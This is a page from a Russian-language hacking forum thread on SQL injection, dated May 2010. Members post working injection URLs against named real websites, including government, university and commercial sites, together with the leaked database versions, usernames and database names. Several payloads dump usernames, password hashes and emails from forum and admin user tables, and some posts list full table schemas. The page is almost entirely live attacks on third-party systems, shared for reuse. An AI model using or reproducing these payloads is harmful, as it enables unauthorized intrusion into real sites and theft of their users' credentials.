SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 603 of 798
  1. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    .gov​

    Code:
    http://www.fppc.ca.gov/index.php?id=500 UNION ALL SELECT %String_Col%--
    Host IP: 209.63.210.7
    Web Server: Microsoft-IIS/6.0
    Powered-by: PHP/5.2.10
    DB Server: MySQL >=5
    Current DB: webdb_dbo

    Code:
    http://prescott-az.gov/services/parks/parks/index.php?id=24  UNION ALL SELECT 1,%String_Col%,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
    Host IP: 63.229.103.73
    Web Server: Apache
    DB Server: MySQL >=4.1
    Current DB: recreation
     
    #12041 KENT1994, 12 May 2010
    1 person likes this.
  2. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.algol.com.ua/continents/countries/cities/places_t.php?ID=-1%20UNION%20SELECt%20concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--+&CID=3&PID=1&PCID=1&PPID=&PPCID=2
    PR:4
    User: algolco_algol@localhost
    Database: algolco_algol
    Version: 5.0.90-community
     
    #12042 b82a, 12 May 2010
  3. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    Code:
    http://www.rfidupdate.com/articles/index.php?id=1241 UNION ALL SELECT 1,2,%String_Col%,4,5,6,7,8,9,10,11,12,13,14,15--
    Host IP: 216.97.224.21
    Web Server: Apache/1.3.41 (Unix) mod_fastcgi/2.4.6 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
    Powered-by: PHP/4.4.9
    DB Server: MySQL >=5
    Current DB: rfidup2_rfidupdate


    Code:
    http://www.dsi-keyboards.com/keyboard/item.php?id=110  AND %True_Expression%
    Host IP: 205.178.145.6
    Web Server: Apache/2.2.8 (Unix) FrontPage/5.0.2.2635
    Powered-by: PHP/5.2.6
    DB Server: MySQL >=5
    Current DB: dsi_image

    хакИр :p :eek: :rolleyes: :cool:

    Code:
    http://www.magfloat.com/telas/pagina.php?id=26 UNION ALL SELECT 1,2,3,%String_Col%,5,6,7--
    Host IP: 201.76.59.10
    Web Server: Microsoft-IIS/6.0
    Powered-by: ASP.NET
    DB Server: MySQL >=5
    Current DB: magfloat
     
    #12043 KENT1994, 12 May 2010
    Last edited: 12 May 2010
  4. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    pr6
    5.0.51a-community-log
     
    #12044 sabe, 13 May 2010
  5. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    http://www.convice.ru/lev/3/2/id/-8+union+select+null,null,version(),null,null,null,null,null,null
    PostgreSQL 8.0.7 on i386-portbld-freebsd6.1, compiled by GCC cc (GCC) 3.4.4 [FreeBSD] 20050518
    Code:
    http://www.eliteshina.ru/tyreinfo.php?id=-598+union+select+version();--
    PostgreSQL 8.2.3 on x86_64-unknown-linux-gnu, compiled by GCC gcc (GCC) 4.1.1 20061011 (Red Hat 4.1.1-30) (вывод в title)
    Code:
    http://farm.x-price.ru/subscriber.php?id=-1839+union+select+null,null,null,null,null,null,version();--+
    PostgreSQL 8.3.9 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
     
    #12045 krypt3r, 13 May 2010
    Last edited: 13 May 2010
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.protok.ru/price2.php3?idgr=-2+and+1=2+union+select+concat_ws(0x3a,@@version,user(),database(),@@version_compile_os)+--
    version : 4.0.27-standart
    user : protok@localhost
    database : db_protok
    os : pc-linux-gnu
     
    #12046 AC//DC, 13 May 2010
  7. ZAV

    ZAV New Member

    Joined:
    6 May 2010
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    www.javaportal.ru/books/aboutbook.php?id=30UNION ALL SELECT 1,%String_Col%,3,4,5,6,7,8,9,10,11,12--

    http://www.sbi.org.br/padrao.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a3a3a,version(),database(),user()),7,8,9--

    http://www.xtremewarrior.com/post_comment.php?id=-1999+union+select+1,2,unhex(hex(concat_ws(0x3a,admin_name,admin_pwd,%20admin_id))),4,5,6+from+admin--
     
    #12047 ZAV, 13 May 2010
  8. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://www.vtmit.vt.edu
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://www.vtmit.vt.edu/academics/module.php?id=-7+union+select+1,concat(version(),0x0b,user(),0x0b,database(),0x0b,@@version_compile_os,0x0b),null,group_concat(0x0b,table_name)+from+information_schema.tables--+
    version - 5.0.77
    user - iddl@thnad
    database - iddl
    os - redhat-linux-gnu

    ============================================

    Сайт: http://www.som.si
    ТИЦ: 0
    PR: 2
    Примеры запросов:
    Code:
    http://www.som.si/shop_item.php?id=-6153+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,group_concat(0x0b,table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables--+  

http://www.som.si/shop_item.php?id=-6153+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,group_concat(0x0b,user_id,0x3a,username,0x3a,password,0x3a,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+phorum_users--+
    version - 5.1.41-3ubuntu12
    user - [email protected]
    database - somsi
    os - debian-linux-gnu
    tables:

    Code:
    CHARACTER_SETS,   
COLLATIONS,   
COLLATION_CHARACTER_SET_APPLICABILITY,   
COLUMNS,   
COLUMN_PRIVILEGES,   
ENGINES,   
EVENTS,   
FILES,   
GLOBAL_STATUS,   
GLOBAL_VARIABLES,   
KEY_COLUMN_USAGE,   
PARTITIONS,   
PLUGINS,   
PROCESSLIST,   
PROFILING,   
REFERENTIAL_CONSTRAINTS,   
ROUTINES,   
SCHEMATA,   
SCHEMA_PRIVILEGES,   
SESSION_STATUS,   
SESSION_VARIABLES,   
STATISTICS,   
TABLES,   
TABLE_CONSTRAINTS,   
TABLE_PRIVILEGES,   
TRIGGERS,   
USER_PRIVILEGES,   
VIEWS,   
artikli,   
artikli_davek,   
artikli_material,   
artikli_skupine,   
artikli_znamke,   
kapitalci,   
kategorije_tekmovanj,   
kje_loviti,   
komentarji,   
kulinarika,   
kupci_dobavitelji,   
kupci_dobavitelji_07,   
modules,   
naj_zgodba,   
naj_zgodba_vote,   
newsletter,   
oglasi,   
payment,   
phorum_banlists,   
phorum_files,   
phorum_forum_group_xref,   
phorum_forums,   
phorum_groups,   
phorum_messages,   
phorum_private_messages,   
phorum_settings,   
phorum_subscribers,   
phorum_user_group_xref,   
phorum_user_newflags,   
phorum_user_permissions,   
phorum_users,   
phorum_users_address,   
povezave,   
promet,   
promet_07,   
promet_faktura,   
promet_faktura_07,   
shop_cart_items_tmp,   
skladisce
    ============================================

    Сайт: http://polnolunie.com
    ТИЦ: 0
    PR: 1
    Примеры запросов:
    Code:
    http://polnolunie.com/browse.php?cat=-8/**/union/**/select/**/1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,group_concat(0x0b,table_name),5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.tables--  

http://polnolunie.com/browse.php?cat=-8/**/union/**/select/**/1,group_concat(0x0b,email),3,group_concat(0x0b,username,0x3a,pass),5,6,7,8,9,10,11,12,13,14/**/from/**/users--  

http://polnolunie.com/browse.php?cat=-8/**/union/**/select/**/1,group_concat(0x0b,user_email),3,group_concat(0x0b,username,0x3a,user_password),5,6,7,8,9,10,11,12,13,14/**/from/**/phpbb_users--
    version - 5.1.46
    user - client@localhost
    database - polnolunie
    os - portbld-freebsd8.0
    tables:

    Code:
    CHARACTER_SETS,   
COLLATIONS,   
COLLATION_CHARACTER_SET_APPLICABILITY,   
COLUMNS,   
COLUMN_PRIVILEGES,   
ENGINES,   
EVENTS,   
FILES,   
GLOBAL_STATUS,   
GLOBAL_VARIABLES,   
KEY_COLUMN_USAGE,   
PARTITIONS,   
PLUGINS,   
PROCESSLIST,   
PROFILING,   
REFERENTIAL_CONSTRAINTS,   
ROUTINES,   
SCHEMATA,   
SCHEMA_PRIVILEGES,   
SESSION_STATUS,   
SESSION_VARIABLES,   
STATISTICS,   
TABLES,   
TABLE_CONSTRAINTS,   
TABLE_PRIVILEGES,   
TRIGGERS,   
USER_PRIVILEGES,   
VIEWS,   
categories,   
cities,   
items,   
leftmenu,   
materials,   
news,   
order_items,   
orders,   
phpbb_auth_access,   
phpbb_banlist,   
phpbb_categories,   
phpbb_config,   
phpbb_confirm,   
phpbb_disallow,   
phpbb_forum_prune,   
phpbb_forums,   
phpbb_groups,   
phpbb_posts,   
phpbb_posts_text,   
phpbb_privmsgs,   
phpbb_privmsgs_text,   
phpbb_ranks,   
phpbb_search_results,   
phpbb_search_wordlist,   
phpbb_search_wordmatch,   
phpbb_sessions,   
phpbb_sessions_keys,   
phpbb_smilies,   
phpbb_themes,   
phpbb_themes_name,   
phpbb_topics,   
phpbb_topics_watch,   
phpbb_user_group,   
phpbb_users,   
phpbb_vote_desc,   
phpbb_vote_results,   
phpbb_vote_voters,   
phpbb_words,   
states,   
stock,   
users,   
tblBlack
     
    #12048 aka_zver, 13 May 2010
    2 people like this.
  9. bug999

    bug999 New Member

    Joined:
    19 Oct 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    http://www.lelana.ru/info.php?id=99++union+select+1,version(),3,4,5,6,7,8,9,10/*

    version: 4.1.21
    database: oberonmoscow
    user: [email protected]
    PR: 2

    http://www.slavneft.ru/press/info.php?id=-99+union+select+1,2,version(),4,5,6,7,8,9--

    version: 4.0.23a-log
    database: db_slavneft_main
    user: slavneft_main@localhost
    PR: 5
     
    #12049 bug999, 14 May 2010
    Last edited: 14 May 2010
  10. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    боян, сори.
     
    #12050 BrainDeaD, 14 May 2010
  11. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.eurekalert.org/multimedia/pub/22293.php?from=-160331+union+select+version%28%29,2,3--
    Version: 4.0.20-max-log
    Database: eurekalert
    User: [email protected]
     
    #12051 Дирижабль, 14 May 2010
  12. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    надо бросать курить

    Code:
    http://www.humidor-club.ru/catalog/index.php?dir=show&catid=-76+and+1=2+union+select+1,2,concat_ws(char(58),version(),user(),database(),@@version_compile_os),4,5,6,7--&mainid=1&typeid=7
    version : 5.0.67-log
    user : [email protected]
    database : u29605
    os : unknown-freebsd6.3

    +форум
     
    #12052 AC//DC, 14 May 2010
    1 person likes this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    ТИЦ10(R2) PR5 AR1922309
     
    #12053 Ctacok, 14 May 2010
  14. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.kar.org.ua/?act=categ&id=-1%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20CONCAT%28version%28%29,%20FLOOR%28RAND%280%29*2%29%29%29%20--
    User: [email protected]
    Database: kar4500_m1
    Version: 4.1.18-log
     
    #12054 b82a, 14 May 2010
  15. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.weisskreuz.ru/index.php?cat=-5+union+select+0,concat(0x3a,@@version,user(),database(),@@version_compile_os),2+--
     
    #12055 AC//DC, 14 May 2010
  16. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    Code:
    http://www.michaelpollan.com/article.php?id=-87+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10--
    5.0.81-community
    pollan_articles
    pollan_article@localhost

    Code:
    http://www.rtos.com/page/product.php?id=-2+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4--
    5.0.77-log
    expresslogic
    [email protected]


    Code:
    http://www.spoono.com/photoshop/tutorials/tutorial.php?id=-77+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10--
    5.0.90-community-log
    spoono_sections
    spoono_db@localhost

    Code:
    http://www.feldgrau.com/main1.php?ID=-7+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10--
    5.0.38-Ubuntu_0ubuntu1.4
    feldgrau
    feldgrau@localhost

    Code:
    http://www.southworth.com/page.php?id=-100+union+select+concat(version(),0x20,database(),0x20,user())--
    4.1.22
    southworthbs
    swdata@localhost

    Code:
    http://www.choices.edu/resources/detail.php?id=-187+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
    4.1.22
    Choices
    [email protected]

    Code:
    http://grb.sonoma.edu/details.php?id=-305+union+select+1,2,3,4,5,6,7,8,9,concat(version(),0x20,database(),0x20,user()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    4.1.22-standard
    grb
    [email protected]

    Code:
    http://imperial.ca.gov/dept.php?id=-32+union+select+concat(version(),0x20,database(),0x20,user())--
    5.0.27-community-nt
    imperial
    ricardohdz@localhost
     
    #12056 jecka3000, 14 May 2010
    2 people like this.
  17. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://start-chel.ru/catalog/?CatID=86+and+1=2+union+select+concat_ws(0x3a,@@version,user(),database(),@@version_compile_os)+--
    version : 4.1.22-lk-log
    user : startchelr@localhost
    database : startchelr
    os : pc-linux-gnu
     
    #12057 AC//DC, 14 May 2010
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.cpen.com/artikel.php?aid=-49+union+select+1,2,3,4,concat(userName,char(58),UserEmail),6,7+from+users+limit+0,1--

    PR-5
     
    _________________________
    #12058 Konqi, 14 May 2010
    1 person likes this.
  19. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    _http://www.uludag.edu.tr/uludagunien.php?kat=-5+union+select+1,2,3,4,5,6,7,version()
    Database Version: 4.1.22

    PR-8

    админка - error 403
     
    #12059 Calcutta, 14 May 2010
  20. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://www.seaes.manchester.ac.uk
    ТИЦ: 20
    PR: 7
    Примеры запросов:
    Code:
    http://www.seaes.manchester.ac.uk/undergraduate/courses/modules/module.php?id=-336+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os,0x0b),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,group_concat(0x0b,table_name),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8+from+information_schema.tables--+  

http://www.seaes.manchester.ac.uk/undergraduate/courses/modules/module.php?id=-336+union+all+select+1,group_concat(0x0b,user_email),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,group_concat(0x0b,user_name,0x3a,user_password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8+from+cpg132_users--+
    version - 5.1.34-1-log
    user - [email protected]
    database - earthadm
    os - debian-linux-gnu

    ==========================================

    Сайт: http://www.beoordeelmijnleraar.nl
    ТИЦ: 0
    PR: 3
    Пример запроса:
    Code:
    http://www.beoordeelmijnleraar.nl/sub.php?groupID=5&userID=4&ID=9999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid(concat_ws(0x0b,version(),user(),database(),@@version_compile_os,0x0b),+1,+70),+floor(rand(0)*2)))--+
    version - 5.0.32-Debian_7etch12-log
    user - bml@localhost
    database - bml
    os - pc-linux-gnu

    ==========================================

    Сайт: http://www.donkervoorttouringclub.nl
    ТИЦ: 10
    PR: 2
    Пример запроса:
    Code:
    http://www.donkervoorttouringclub.nl/splace/f.php?ID=11335+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid(concat_ws(0x0b,version(),user(),database(),@@version_compile_os,0x0b),+1,+70),+floor(rand(0)*2)))--+
    version - 5.0.81-log
    user - dtc_splace@localhost
    database - dtc_splace
    os - pc-linux-gnu
     
    #12060 aka_zver, 14 May 2010
    1 person likes this.
(You must log in or sign up to post here.)
Page 603 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.